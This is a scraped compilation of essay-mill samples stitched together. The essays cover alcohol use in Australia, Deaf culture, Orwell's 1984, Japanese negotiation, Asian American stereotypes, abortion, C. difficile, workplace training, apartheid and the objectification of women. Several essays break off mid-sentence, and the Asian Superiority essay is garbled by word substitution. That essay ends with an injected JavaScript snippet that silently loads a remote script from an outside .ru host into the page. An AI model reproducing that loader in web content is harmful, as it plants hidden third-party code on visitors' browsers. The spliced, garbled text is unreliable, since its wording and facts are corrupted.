Effects Of Alcohol On The Consumption Of Alcohol - 1288 Words

Alcohol consumption is highly prominent around the world and Australia. Most Australians have consumed alcohol at some point of time in their lives. Most individuals doing so at a level that is acceptable and does not lead to any ill health or injury. There is, however, an issue with the misuse and abuse of alcohol in Australia across all age groups. This paper will discuss the use of alcohol in Australia broadly before focusing on the consumption of alcohol in the 16-29 year old age group. This essay will also discuss the impacts of alcohol consumption in the short term and the long term. As misuse and abuse of alcohol can cause many health issues, psychologically and physically. Young adults between the ages of 16-29 years old are a†¦show more content†¦Public health policy will also be discussed as a promotional health intervention. A majority of Australians have tried alcohol in their lifetime, with only 13.8% of the population reporting to have never consumed alcohol in The 2013 National Drug Strategy Household Survey (AIHW, 2013). The consumption of alcohol is done for a variety of reasons and occurs in social situations and cultural contexts. Alcohol may be consumed for sociability, as a result of peer influence, religious observance or for cultural participation. Other common reasons for alcohol consumption in Australia are pleasure and relaxation, mood alteration, boredom, enhanced creativity, intoxication, addiction, habit, to overcome inhibitions or as a self-medication to forget or escape from everyday problems. The 2013 National Drug Strategy Household Survey (AIHW, 2013) shows that there has been a decline in individuals that consume alcohol daily with the percentage falling from 7.2% in 2010 to 6.5% in 2013. The 2013 National Drug Strategy Household Survey (AIHW, 2013) also discovered that there is an increase in the number of younger individuals that delay the starting of consumption, with the beginning age increasing from 14.4 years in 1998 to 15.7 years in 2013. Any level of alcohol consumption may increase the risk of illness and injury. However, According to The 2013 National Drug Strategy Household Survey (AIHW, 2013) most Australians that consume alcohol

A Jerney in to the Deaf World - 15812 Words

Chapter notes: Chapter Notes from Journey Into Deaf-World Chapter 1 Chapter one is basically an introduction to the issues that are discussed throughout the book. Chapter one introduces all the people that are constantly referred to throughout the book. Ben Bahan is the narrator and introduces us to Jake Cohan, Laurel Case, Roberto Rivera and Henry Byrne. Ben is a CODA, Child Of Deaf Adults, and like many CODA’s tried to stray from the deaf community be was eventually drawn back to it. He is currently teaching at the only deaf college called Galludet University. Each of these characters describes there lives growing up deaf from when they became deaf, to how their parents reacted, to how they feel about it now. Jake describes himself†¦show more content†¦Their reaction is usually different. Many are driven by doctors to fix their child’s deafness. Whether it is through hearing aids, surgery, audiologists, speech therapy, using teachers that are trained in children with disabilities. The child grows up thinking something is wrong with them. Sadly hearing parents don’t realize that Deaf parents raise their Deaf children successfully with out many of these expensive services. A lot of frustration and stress builds because the parents cannot communicate properly with their child. Hearing parents often say that they were never informed of the many options that Deaf parents in the Deaf-World use with their child. Such as early use of ASL, hiring Deaf baby-sitters and day caretakers. Having spent months on an emotional roller coaster some parents refuse to accept the diagnosis that their child is Deaf. They are in denial that may last for years. Some go so far as placing their Deaf child (whom they view as just having a hearing-impairment) in programs designed for hearing children who have disabilities. This delays the start of effective educational programming and the Deaf child’s academic achievement is likely to reflect the delay. Many young Deaf children cling to their hearing mothers excessively. There is almost no meaningful communication. The interaction between parent and child becomes more the relation of teacher to pupil. A survey at one school for the Deaf

George Orwell and the Necessity of Honesty Free Essays

Vladimir Lenin, the first leader of the Soviet Union, once stated â€Å"A lie told often enough becomes the truth. † In times of inclusive deception, it is only innate for humanity to be blinded by the truth in a vast sea of lies to the point in which the act of telling the truth becomes revolutionary. In George Orwell’s 1984, society is led by the fabrication of the truth in an attempt to create a perfect world. We will write a custom essay sample on George Orwell and the Necessity of Honesty or any similar topic only for you Order Now But this attempt merely creates a society built upon lies and corruption.Through this novel, George Orwell comments on the necessity for humans to tell the truth and confront lies, deceit, and prevarication because humanity will face detrimental consequences if they do not. Orwell stresses the importance of humanity to tell the truth by addressing the consequences of dishonesty inflicted on the human race. In the novel 1984, the Party’s slogan, â€Å"Who controls the past controls the future. Who controls the present controls the past,† reveals the government’s pursuit to control all aspects of peoples’ lives. By altering history, the Party has absolute power of the present, limiting the psychological independence of its subjects by controlling their interpretations of the past. Individuals are forbidden to keep any account of their past, such as photographs and documents, and all recordings, great or small fade â€Å"away into a shadow-world in which, finally, even the date of the year is uncertain. † Therefore, the members of the society are willing to believe in any â€Å"truth† the Party feeds them.Due to the reliance of authority, humanity would become highly infantile and foolish. Just as infants depend on their parents’ guidance, all of human kind would act as little children, relying on authority to direct them to the truth. People would virtually have no memory of the past, so they would have no experience of emotions and would not know what emotions truly are. As a result, Orwell suggests that people would not grow as human beings because they would be willin g to believe in anything authority tells them, without doubting the fallacy of it. In turn, humans would not be able to distinguish right from wrong. Orwell comments on the necessity for humans to confront lies, deceit, and prevarication because humans will face insanity if they do not. In the novel, when Winston is confined in the Ministry of Love, O’Brien holds up four fingers and commands Winston to say he is holding up five fingers, despite the falsehood of that statement. Yet, Winston continually says â€Å"four† and is physically tortured as a result. Until he can no longer endure the pain, Winston finally clamors, â€Å"Five. Five. Five. But O’Brien accuses Winston of lying and inflicts more excruciating pain on him. Once again, O’Brien asks, â€Å"How many fingers am I holding up, Winston? † Winston then cries, â€Å"I don’t know. I don’t know. I don’t know†¦Four, five, six—in all honesty I don’t know! † This reveals that human confrontation with lies, deceit, and prevarication leads to absolute insanity. Orwell comments on the practice of doublethink as very immoral and psychologically damaging to the human mind. This in turn will affect the happiness of humans, leaving them without hope and a reason to live.Thus, the main point of humankind would be serve the government and please authority. The search for even the simplest truth among the greatest lies can be treacherous because it easy for humans to be blinded by the truth. Through the novel 1984, Orwell voices his abhorrence on the human attempt in creating a perfect world, and he greatly accentuates the human need for humans to tell the truth and confront lies, deceit, and prevarication. Eventually, if humankind does not do exactly this, the future of society will lead to an ultimate demise. How to cite George Orwell and the Necessity of Honesty, Papers

Japanese Negotiations Essay Example For Students

Japanese Negotiations Essay Japanese NegotiationWhen thinking about negotiations one might not realize how often that we negotiate in our everyday lives. Almost every activity that we do, especially when involving more than just ourselves, involves negotiations in some way, such as should we eat at Burger King or at McDonalds. You negotiate with someone else or even yourself in your decision. Negotiations are also very important in business dealings. The negotiation can make or break a business deal and even ruin the relationship of the two parties. Negotiations are a fine art that is very difficult to master, if the mastering of it is even possible. Different people negotiate in different ways, but every society follows the same basic guidelines for the most part. This is not true whenever you look at different cultures and their negotiation styles and tactics. Sometimes these styles can be very different from what we have grown a custom to. The United States for example has negotiation styles and rules that d iffer quit a bit from those of the Japanese. This is why it is important to keep these differences in mind when dealing with the Japanese whether it involves business or personal issues. For the sake of simplicity, we will be looking mainly at the business aspect of negotiations. This report will cover the basics of negotiation with the Japanese. This is only a brief guideline; one should keep in mind that if you are planning to take this subject further much more research should be done to fully understand all aspects of this area. The beginning of a negotiation can be a very critical one. For the most part, Americans want to jump right in a get down to business. This is do in mainly to our society and it’s fast paced way of doing business. We live in a fast paced world and feel that things need to be done quickly. This is not the same feeling shared by the Japanese though. When negotiating with Japanese, they like to take the time to get to know the other party first. They give great importance to trust when dealing with others. They need to know more about the other party in order to achieve trust in them. If Americans expect a negotiation with Japanese within the U.S. framework of a brief introduction, discussion of technical matters, supply and cost bargaining, and closing, they will surely be disappointed. Japanese, on the other hand, will feel rushed and pressured if they discover they will not spend much time finding out about the school backgrounds, relative company status, and family backgrounds of U. S. negotiators. Japanese need to feel a sense of harmony and cooperation. Without this phatic communication, of what from a U.S. perspective is trivial information (but nonetheless has an important function of building trust). Japanese feel that their relationship is not anchored and may drift. This is an uneasy situation in the extremely competitive world of Japanese business (McCreary p25-26). After this information is shared the Japanese will feel that they can enter into the negotiations. The negotiation normally follows the same pattern, or stages. After the introduction and the gathering of trust, the next stage is usually made up of the technical details of the product. The Japanese often insist on every single detail being explained several times. This once again is due to the issue of trust. They try to see if the details vary at all. The bargaining stage normally follows next. The U.S. style of negotiations normally causes the U.S. team to focus on prices that will be too high or too low. In contrary, Japanese normally shot for prices that are more reasonable. More of this will be discussed later. The final stage involves the strategies that lead to the signing of the contract. It is very important to keep in mind that the Japanese feel that a product that is not up to standard, that was presented in the negotiation are looked on as being shameful to the individual. They value the honesty of a deal and those invol ved in the deal very much. When doing business, many American companies rely on contracts to bind the agreement. The contract is looked at as the tangible goal of most business negotiations. Without a contract or some type of written agreement it is very unlikely the deal will last. It is very unlikely, that if a problem occurs and a third party is needed to solve that problem, that the deal will even be recognized without a contract. This is different to the Japanese way of business. Contracts are foreign to the Japanese way of doing business, and Americans would do well to keep this fact in mind when doing business with the Japanese (Zimmerman, p.91). This dislike of contracts once again relates to the importance that Japanese put into trust and integrity. Many Japanese will not even bother to read a contract before signing it because they don’t attach substantive importance to it (Ibid, p.91). Although this practice is okay to do in Japan it often causes problems in the U.S. and other Western areas. This is also troublesome when someone who does value a contract finds that there may be no punishment in Japan if the contract is broken. This is why it is very important that both parties have a mutual understanding of the contract and what it entails prior to the signing. If this is not done than one of the parties, if not both, have a good chance of being upset by some future happening. This would not only be unfortunate at the time of the occurrence but it could also lead to the two parties ending any type of relationship which could hurt both parties morally and financially. Part of the suspicion that the Japanese have toward contracts derives from the change in their situation over the past thirty years (Ibid. p.93). This suspicion is caused by the Japanese distrust of the foreign partners that they dealt with in the sixties and seventies. During this time of rebuilding they depended on others for much of the technology needed to rebuild their country. Now that they have gained a competitive edge in today’s technology, they do not want to deal with the same partners as before. It is beneficial to any firm doing business with the Japanese to assure them that both are on equal ground and will receive equal and fair treatment and respect. This will help the Japanese feel more comfortable about a contract and more willing to sign and agree with one. There is also a pact per say with the Japanese national bank that allows Japanese countries to render some of the financial burdens of a contract if the bank is notified of the contract and approves it at least thirty days in advance. This relieves some of the tension involved with signing the contracts. There are four important, complex, and interrelated Japanese concepts that have a strong influence on how the Japanese do business and conduct their personal lives (Ibid. p.64). These four concepts are Nintai (patience), kao (face), giri (duties), and on (obligations). Nintai, all though there is no direct English translation, means in a business context that one has the endurance and intellectual capability to uncover methodically and carefully every factor that might have even the slightest bearing on a business decision or the outcome of a negotiation. This includes many aspects of negotiations including the sides taking enough time to think about and thoroughly prepare themselves for the negotiations. If you are lacking in nintai you run the risk of constantly being in danger of losing kao (face). Kao is considered to be the most precious commodity a Japanese has. When someone in Japan has a spotless kao they are looked upon buy their peers, employers, coworkers and family as bei ng in tune with society. One of the worst mistakes anyone can make in their dealings with Japanese is to put down their work and embarrass them in front of others. The best action to take if you are not pleased with some ones work is to talk to them in private. You must try to be very gentle in your explanation of your dissatisfaction and emphasize on the person’s strong points. If you do not take extreme care in this you are sure to upset the person and could possible earn a lifetime enemy. The last two concepts that one needs to understand is that of giri (duties) and on (obligations). To help understand the importance of these two concepts one must comprehend one fact about the Japanese. The Japanese tend to take every debt and obligation received during life as a personal weight on their shoulders. Although through repayment of favors and help, these debts can be somewhat repaid but they can never be fully restored. A more accurate description of on is the obligation incu rred by giving and granting major favors, such as giving birth or taking care of some ones education. When one receives on from another it is expected that they spend most of their life trying to repay it in some form, although the Japanese feel that you can never fully repay the debt. Of the two concepts, giri seems to be the less serious of the two (Ibid, p.64). Giri is the exchange of small debts and obligations that occur on an everyday basis. Such examples would be the giving of a small gift to another. Giri even takes into consideration the welcome that you receive when walking into a Japanese restaurant. You are not expected though to spend your life trying to repay this gift though. It is taken that everyone gives and receives giri several times throughout a normal day. One must keep in mind that in the Japanese society one cannot escape the massive web of obligation created by giving and receiving gifts. It is very important to also remember that next to insulting ones kao is to refuse a gift. Heroin EssayAs touched on before, it is not always in the best interest of Americans to use translators. It could put the American party at a disadvantage allowing the Japanese to reach a beneficial agreement easier. It is important thought if you are using a translator that you take the proper steps to ensure that you will be represented as accurately as possible. There are certain steps that you can take in order to make sure that you are represented as accurately as possible. You should try to get a translator who is familiar with the specific field that you are going to be dealing with. You need to speak slowly and distinctly and try to avoid using slang, sport talk, obscure expressions, or superfluous words. It is wise to brief your translator ahead of time as thoroughly as possible. If you are giving a talk or presentation, give them a copy of it and allow them time to review it and ask any questions they might have regarding words or language you might be planning to use. If you do not have a copy try to cover the major points that you will be discussing so they are clear on what you are trying to convey. Use short sentences and do not talk to long without a pause. This allows the translator to better translate what you have said and it also keeps the other party from having to sit a long time without understanding what is being said. When speaking look at your counterpart, not at the translator, and try to avoid making assumptions of any king. If your interpreter asks you many questions that seem unwarranted, get a new interpreter (Rowland p.68). It is also a smart choice to get your own translator instead of using one that the company that you are dealing with has provided you. It is also beneficial sometimes to use an older translator because they can lend you credibility and respectability, however they might not be as fluent in the English language. It is also important that you are very patient and take plenty of breaks to allow the translator to relax and also use this time to gain any insight that you might be able to get from the translator. It might best be said that a negotiation with Japanese is â€Å"closed† when U.S. negotiators and their company have convinced the Japanese of their credibility, trustworthiness, and long-term commitment (McCreary p.67). A sense of closing a negotiation can occur in a very early stage of negotiating or it can occur after the exchange of money or gifts. No matter when it is achieved one thing is for certain. It is very unlikely that a negotiation will be closed before the Japanese feel a sense of trust in the other party. It is important that the Japanese do not feel rushed or bullied into an agreement, if this is the case the negotiation is sure to fail. It is important that patience, functionally speaking and the ability to wait out the Japanese side is used and always kept in mind. The Japanese also double-check just about every detail and then ask for further explanation. The reason for this is that Japanese believe information gathering is one of the ways they can become m ore confident and comfortable with a new business arrangement (McCreary p.67). When negotiating with the Japanese it is critical that you keep in mind that the Japanese have a certain way that they want to do business and if you want to close a negotiation with the Japanese you need to play by their rules. When trying to master the art of negotiations it is very important that you keep numerous tactics and skills in mind. You need to be aware of whom you are negotiating with and their principles and ground rules for negotiations. Not everyone goes about negotiating in the same manner. There are as many ways to negotiate, as there are people to negotiate with. Obviously, we are only human and make mistakes. It is also true, that when dealing with the Japanese, some will expect you to follow their guidelines and some will follow ours. If is a giant guessing game and the best way to be prepared is to study your counterpart. If you go into the negotiation planning on using their ground rules, you will have a much better chance at success. It is very important to keep in mind that when you are negotiating with the Japanese that trust is a major key of how well the proceedings will go. Without mutual trust, it is very unlikely that the negotiations will be of much use. It is also necessary t hat you have patience and do not offend your Japanese counterpart. If you keep in mind the important proceedings regarding Japanese negotiations and you have a good game plan, you will have great success in your dealings with the Japanese. It is also very likely that once you have dealt with a Japanese business and everything went well it would be easy to continue business with them. BibliographyBibliographyFaure, Guy Olivier. Culture and Negotiation; Sage Publications, Newbury Park, CA, 1993McCreary, Don. Japanese-U.S. Business Negotiations; A Cross-Cultural Study, Praeger Publishers, New York, NY, 1986Nicholson, Michael. International Relations; New York University Press, New York, NY, 1998Rowland, Diana. Japanese Business Etiquette; A Practical Guide to Success with the Japanese; Warner Books, Inc., New York, NY, 1993Tenhover, Gregory. Unlocking the Japanese Business Mind; Transemantics, Inc., Washington, DC, 1994Zimmerman, Mark. How to do Business with the Japanese, Charles E. Turtle Co., Tokyo, Japan, 1987Business Essays

Asian Superiority Essay Research Paper Maria E free essay sample

Asiatic Superiority Essay, Research Paper Maria E Welbourne Eng.2 J.Corcoran The Celebration of Asian Americans has Obscured Reality Ronald Takaki vocalizes in his article that? The Harmful Myth of Asian Superiority? is non to presume that all Asiatic Americans are so successful, so it? s incorrect to generalise any peculiar race as superior over another. I believe this is true in the US today Asians in public schools are made to be great pupils. This outlook fails when we realize that non all pupils are the same. Takaki? s character is outraged at our ain politicians utilizing these wide premises to propagate why one race seems to win with small or no authorities aid and others who can non. Then to compare the success of Asians to the African American and stating? If Asiatic Americans can do it, why can? t African Americans? ? Statements such as these, add fuel to a howling fire of bitterness towards Asiatic Americans. We will write a custom essay sample on Asian Superiority Essay Research Paper Maria E or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Asians have been touted as successful enterprisers, but comparing household incomes is even more delusory. Some Asiatic American groups do hold higher household incomes than Caucasians. But they have more workers per household. This # 8220 ; model minority image? is homogenized and conceal their many differences, as stated by Takaki. For illustration, while 1000 of Asiatic pupils are in universities, others are on the streets, populating in motels, or in packs. A great per centum of Asiatics from New York City? s Chinatown live at or below poverty degree. gt ; Takaki? s intent was to convey consciousness to the reader as to the harmful labels we imply on Asiatic Americans. Not all Asiatics are successful here in the US because in their state certain licensing is non needed to be a professional. When these people come to the US with hapless English are so limited to the occupations they can make. Therefore are limited to menial dish washer, caretaker places. This is non just. I feel our state is chesty when migrators come to the US. Nipponese persons earn good incomes that are comparable to that of Caucasians. But what you don? T know is that the Japanese have to digest higher instruction, and work many more hours. Takaki focuses on all the unfairness that goes on in today? s market place and with the favoritism Asiatic Americans receive. His statement chiefly states interesting facts that contradict what we read in the newspapers or hear on the eventide intelligence. The writer is angered and wants for everyone to understand that Asians are non the? Model Minority? . There is no such thing as a theoretical account minority. Immigrants? fight difficult or harder to do terminals run into and go successful. His Character is that of a defeated person who merely read an article in the paper and has cast his rebuttal for all to see. His method of exposing his facts was effectual and edifying. But I think It would hold been ideal if he would hold included an opposing statement in his In general, I believe his statement was effectual. Now I do hold a better apprehension of where he? s coming from. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Abortion Essays - Fertility, RTT, Abortion, Human Reproduction

Abortion Essays - Fertility, RTT, Abortion, Human Reproduction Abortion Abortion Life or Death Who Chooses? In Roman times, abortion and the destruction of unwanted children was permissible, but as out civilization has aged, it seems that such acts were no longer acceptable by rational human beings, so that in 1948, Canada along with most other nations in the world signed a declaration of the United Nations promising every human being the right to life. The World Medical Association meeting in Geneve at the same time, stated that the utmost respect for human life was to be from the moment of conception. This declaration was re-affirmed when the World Medical Association met in Oslo in 1970. Should we go backwards in our concern for the life of an individual human being? The unborn human is still a human life and not all the wishful thinking of those advocating repeal of abortion laws, can alter this. Those of us who would seek to protect the human who is still to small to cry aloud for it's own protection, have been accused of having a 19th Century approach to life in the last third of the 20th Century. But who in reality is using arguments of a bygone Century? It is an incontrovertible fact of biological science - Make no Mistake - that from the moment of conception, a new human life has been created. Only those who allow their emotional passion to overide their knowledge, can deny it: only those who are irrational or ignorant of science, doubt that when a human sperm fertilizes a human ovum a new human being is created. A new human being who carries genes in its cells that make that human being uniquely different from any and other human being and yet, undeniably a member, as we all are, of the great human family. All the fetus needs to grow into a babe, a child, an old man, is time, nutrition and a suitable environment. It is determined at that very moment of conception whether the baby will be a boy or a girl; which of his parents he will look like; what blood type he will have. His whole heritage is forever fixed. Look at a human being 8 weeks after conception and you, yes every person here who can tell the difference between a man and a women, will be able to look at the fetus and tell me whether it is a baby boy or a girl. No, a fetus is not just another part of a women's body like an appendix or appendage. These appendages, these perfectly formed tiny feel belong to a 10 week developed baby, not to his or her mother. The fetus is distinct and different and has it's own heart beat. Do you know that the fetus' heart started beating just 18 days after a new life was created, beating before the mother even knew she was pregnant? By 3 months of pregnancy the developing baby is just small enough to be help in the palm of a man's hand but look closely at this 3 month old fetus. All his organs are formed and all his systems working. He swims, he grasps a pointer, he moves freely, he excretes urine. If you inject a sweet solution into the water around him, he will swallaw because he likes the taste. Inject a bitter solution and he will quit swallowing because he does not like the taste. By 16 weeks it is obvious to all, except those who have eyes but deliberately do not see, that this is a young human being. Who chooses life or death for this little one because abortion is the taking of a human life? This fact is undeniable; however much of the members of the Women's Liberation Movement, the new Feminists, Dr. Henry Morgentaler or the Canadian Medical Association President feel about it, does not alter the fact of the matter. An incontrovertible fact that cannot change as feelings change. If abortion is undeniably the taking of human life and yet sincere misguided people feel that it should be just a personal matter between a women and the doctor, there seems to be 2 choices open to them. (1) That they would believe that other acts of destruction of human beings such as infanticide and homicide should be of no concern of society and therefore, eliminate them from the criminal code. This I cannot believe is

Clostridium Difficile Essay Example | Topics and Well Written Essays - 2000 words

Clostridium Difficile - Essay Example The role of CDI in antibiotic-associated diarrhea was recognized in 1970s. In 2000, the emergence of a drug-resistant hypervirulent strain was documented. This strain was associated with severe and recurrent CDI. Between 2000 and 2005, the CDI cases almost doubled, of which majority were older adults (Kee 2011). CDI is characterized by at least three unformed feces, within a 24-hour period, with C. difficile (McCollum and Rodriguez 2012). The presence of infection is examined through histopathologic or endoscopic tests. CDI has been linked to approximately 20% of all cases of antibiotic-associated diarrhea in humans (Carman et al. 2011). From being associated with simple to severe diarrhea, C. difficile is now regarded as the principal cause of various diseases, including sepsis, fulminant colitis, multiorgan failure, toxic megacolon, and even death (Ananthakrishnan and Binion 2010). History and Epidemiology Staphylococcus aureus was commonly linked to antibiotic-associated diarrhea, but in 1974, the cases of clindamycin-associated pseudomembranus colitis were found not caused by S. aureus (Bartlett 2008). These cases were later associated with C. difficile when the link between CDI and antibiotic therapy was elucidated. CDI became more common and severe since the year 2000. From a common cause of nuisance, it evolved into a principal nosocomial cause of mortality and morbidity (McCollum and Rodriguez 2012). ... This percentage increases with age, making the elderly more prone to CDI than the young adults. Older adults may have 10% to 20% colonization rates, depending on the length and frequency of exposure to antibiotic treatments and to C. difficile (Wilcox 2003). Although the vegetative forms of the bacillus die upon exposure to air, its spores may last for months and even years. Hospitals are the major source of C. difficile spores. The bacillus can also be found in farmyards and domestic animals like dogs, cows, cats, horses, and pigs. In developed countries, hospital-acquired diarrhea is likely associated with C. difficile than any other bacteria (Wilcox 2003). In England and Wales, about 18,000 laboratory cases of C. difficile are reported annually (Wilcox 2003). More than 80% of these cases involved patients with ages of over 65 years (Wilcox 2003). The elderly patients tend to acquire severe CDI, though increasing age is not a risk factor for the extent of infection severity. These trends were also observed in the U.S. In fact, the economic cost of CDI cases in the U.S. range from $436 million to $3 billion in a year (Ananthakrishnan and Binion 2010). Clinical and Pathological Features It is often difficult to differentiate the clinical and pathological characteristics of the disease caused by C. difficile from those of other intestinal diseases, such as Crohn’s disease, ulcerative colitis, and chronic inflammatory bowel disease (Knoop et al. 1993). The symptoms may manifest as early as one to two days after an antimicrobial therapy and as late as two to ten weeks after the therapy. C. difficile-associated disease could also occur after a single

Training and Development Assessment Essay Example | Topics and Well Written Essays - 2500 words - 22

Training and Development Assessment - Essay Example In this process, both public and private, training and development practices differ to provide the company or organization a more competitive work staff. The training and development practices at the University of Worcester and Tesco are compared to highlight the similarities and differences in the public sector and private sector training principles. The University of Worcester must consider issues of revenue growth and strategy to remain competitive against other universities both local and international. With the growth in e-learning available to citizens across the globe, it becomes more and more difficult to become recognized as an educational leader with students of all lifestyles, income brackets, and values as learning become more convenient without necessarily having to leave home. Therefore, the university must ensure that its staff is well-trained and knowledgeable with new concepts and theories so that students choose the University of Worcester over other educational options. Part of training and development at the university involve establishing a set of criteria by which teachers are judged for performance. The University of Worcester has developed an annual development appraisal in order to ensure top performance that includes staff timetable tools for meeting individual teacher obligations (Wright & Evans 2009). Part of this appraisal includes what is referred to as the Resource Model that identifies key strengths and weaknesses of teachers in order to assess their current skills capabilities. Teachers are given timetables of milestones for learning and meeting new curriculum goals and then they are appraised to determine whether their knowledge is currently able to reach expectations. What makes the performance appraisal process so significant at the university is that staff is able to offer suggestions and amendments to these timetables (Wright & Evans).This indicates an empowerment model that includes teacher feedback in their training module to facilitate better ways to maximize the student’s satisfaction regarding the quality of their education.

Apartheid and Crimes in South Africa Essay Example | Topics and Well Written Essays - 1250 words

Apartheid and Crimes in South Africa - Essay Example The novel tells the story of Stephen Khumalo who is a black Christian in the rural South Africa who sets for Johannesburg to look for the missing members of his family, his sister Gertrude and his son Absalom and his brother John. Even though, he gets to fin d them, it is evident that it is at an appalling cost. This is because he finds his brother having lost his faith and in turn learnt to hate his sister had lost her dignity and turned to prostitution, and his son having killed Arthur Jarvis son who is a white man opposed to the apartheid. Despite all these findings, it is noteworthy that the novel ends in a hopeful note, and this is by way of a conversation between James and Stephen on the future of South African racial understanding. This paper assesses the novel by focusing on the rampant crime that existed in the then South Africa, and this is to establish the accurate origin of the crimes. This book is laid down in South Africa of the 1940s a time during which there was both economic and political tensions that had resulted into a lengthy complicated history. Before the arrival of the Europeans in the mid 1600s, South Africa was inhabited by a considerable number of African tribal groups such as the San and the Khoikhoi and afterwards the Bantu speakers who are the ancestors of the present Zulus (Natarajan, 200). Even though, the Europeans had not come to settle as colonizers, a century later had resulted into a settlement of Europeans into deeper areas of South Africa, thus, displacing the native south Africans (Natarajan, 202). The arrival of the English almost a decade later transformed South Africa into a colony, and this had disastrous effects on the South Africans. This led to a conflict between the Boers who were the European settlers of South Africa and English, but it was till 1881 that a war between them transpired. However, this was after a series of clashes between the Boers and the native South Africans. At this time, it is evident that bla ck workers were only permitted to hold unskilled jobs, and subjection to pass laws that restricted their freedom (Ikejiaku, 451). The enactment of the Natives Land Act led to a reduction in the land the natives were permitted to own. This is evidenced by the assertion of Arthur Jarvis that it is merely a tenth of the territory, that was allocated to the native south Africans yet they formed four fifth of the country’s population (Paton, 156). This subsequently resulted into the emigration of most native South Africans into urban areas to work on mines. This influx of cheap labor was welcomed by the min e owners, who did not care about the housing and services of these people. It is in this context that the novel begins as Stephen Khumalo goes to the city to look for his son and other members of his family, and these are associates he had not made out for a lengthy time. The status of his family members at the time he finds them paints a true picture of the social evils in the Apartheid Africa, and this is of course the cause of the rampant crimes in South Africa. This is a clear indication that it is the society itself that caused the crimes. The novel depicts the whites as those affected by the native crime but also sheds some light on the social instabilities as well as moral issues as the cause for the breakdown of the tribal system. This disconnection, thus, leads to conglomeration of crime as the natives strive to survive.

The Ongoing Objectification of Woman

The Ongoing Objectification of Woman Men look, women are looked at, said John Berger in his seminal 1972 documentary series Ways of Seeing, and in this one sentence, Berger summarised the relationship between men and women, and the objectification of women by men. From Susannah being looked at by the Elders, to Manets Luncheon on the Grass, women in art have been continually portrayed as not only objects of desire, but objects to be owned. One might like to think that feminism, and women, have come a long way, not only from the bra-burning days of the 60s and 70s, and the power-suited days of the 80s, that saw women in positions of power in the city, and in politics; even from the days of early suffrage. Yet one has only to look at a daily newspaper, a womans magazine, a Hollywood movie, let alone a mans magazine, to realise that the objectification of women is as rampant (and I use that word deliberately) as it has ever been. Even in the world of High Art, paintings such as Lucien Freuds of a pregnant Kate Moss still portray woman as something that can be looked at, desired, owned. One would most definitely like to think that women have come a long way since Rousseau stated, in typically succinct fashion, that the doll is the peculiar amusement of the females; from whence we see their taste plainly adapted to their destination. One presumes Rousseau was talking about baby dolls, little girl dolls, to be played with and dressed up in pretty clothes, to sit quietly, prettily and well dressed in a corner, unobejcting and unobjectionable, good practise not only for motherhood but womanhood; but he could equally as well have been talking about that most contemporary of dolls, the Barbie curvaceous, well dressed and pretty, with a wardrobe of clothes that would enable her to follow any career, from astronaut to vet, sexy but sexless, epitomised by the most recent addition to the sisterhood, Burqa Barbie, so that all girls feel represented in a globalised 21st century. All girls that are curvaceous and well dressed, pretty and sexless and quiet, anyway. Mary Wollstonecraft, the mother of European feminism, believed that as long as men saw women as trophy wives, and took mistresses, that the oppression of women should continue, yet she did not solely blame men, believing also that women were complicit in their own objectification, and referring to them as clay figures to be moulded by men. Girls, Wollstonecraft believed, were enslaved to men through their social training. With the coming of post-feminism, one could hope that women had finally broken this male-oriented patriarchal perception of them, but it seems in fact to be the reverse. Young women expose more and more of themselves, stating that they are in control, and they may show as much flesh as they wish in this post-feminist world, but one cannot help but think that Wollstonecraft was right women still base their worth on how much a man values them, and on precious little else. Barbie may be a 21st century astronaut, but unless she is busty and beautiful, Ken will not be i nterested, and Barbie will be worthless, both in her own eyes and those of society. In this essay, I propose to explore how feminism and post feminism have influenced my development as an artist, and to question how the medias continued portrayal of women as a commodity has affected other contemporary artists, both positively and negatively. The goal of feminism, said an early spokeswoman, was to change the nature of art itself, to transform culture in sweeping and permanent ways by introducing into it the heretofore suppressed perspective of women. Barbie as a symbol of woman as object can be found not only in contemporary art, but also in contemporary literature; she has moved into everyday speech as a contemptuous comment on glamorous women (Shes nothing but a Barbie doll! is a derisive criticism aimed at a woman perceived to be beautiful but dumb, ironic when one considers how it is precisely this image that is being sold to us by the media!) Mattel may market Barbie as a modern career girl, far more independent than the original 1950s clothes horse, but is she as complicit in the objectification of modern women as Mary Wollstonecraft stated over 200 years ago? The London based photographer Alex Kliszynski would seem to agree with Wollstonecraft, and has directly questioned such attitudes in a body of work that combines the imagery of pornography with Barbie dolls. (http://areyoushaved.net/2009/10/art-culture-nude-human-barbie-dolls/) The instant reaction of the spectator is one of revulsion, a feeling that something is not right. Such a highly sexualised childs toy is obscene, but maybe that is the intended point of the artwork? Barbie is the ultimate commodified, sexist, male-fantasy view of what women should look like. She has a tiny waist, long legs, and enormous breasts. However, oddly, if you think about it, this highly sexualized body actually lacks sexual parts, or the parts of the body we would see if she were fully nude. She has no vagina. Her breasts have no nipples. In addition, Action Man, an idealized, sexualized male specimen, has no penis and no scrotum. By placing a sexless doll in a lascivious and crude position that should show all the sexual organs but doesnt, Kliszynski is making a comment on the dehumanising of women (and men) by media led objectification; it is his intention to call attention to that disconnection , to make the viewers aware of the sexualized images of women and men that Bar bie and Action Man dolls trade in. However, I think there is another, yet more sinister, way of reading Kliszynskis art work. The dolls are a monstrous combination of human and plastic; even the title of the work is Human Barbie Dolls, suggesting an abnormal mixture of the two. It is possible to understand Kliszynskis piece as a comment on the modern phenomena of body dysmorphia, a disorder that causes a person to believe there is something terribly wrong with an aspect of their face or body, and which often leads them into a series of cosmetic surgeries. Kliszynskis human Barbies symbolise this body dysmorphic tendency prevalent in so much of (western) society, this desire to turn the human body into a work of art, a perfection of flesh and plastic to match the abnormal perception of idealised beauty encouraged by the media. In her poem, Barbie Doll, Marge Piercy makes much the same point: This girlchild was born as usual and presented dolls that did pee-pee and miniature GE stoves and irons and wee lipsticks the color of cherry candy. Then in the magic of puberty, a classmate said: You have a great big nose and fat legs. She was healthy, tested intelligent, possessed strong arms and back, abundant sexual drive and manual dexterity. She went to and fro apologizing. Everyone saw a fat nose on thick legs. She was advised to play coy, exhorted to come on hearty, exercise, diet, smile and wheedle. Her good nature wore out like a fan belt. So she cut off her nose and her legs and offered them up. In the casket displayed on satin she lay with the undertakers cosmetics painted on, a turned-up putty nose, dressed in a pink and white nightie. Doesnt she look pretty? everyone said. Consummation at last. To 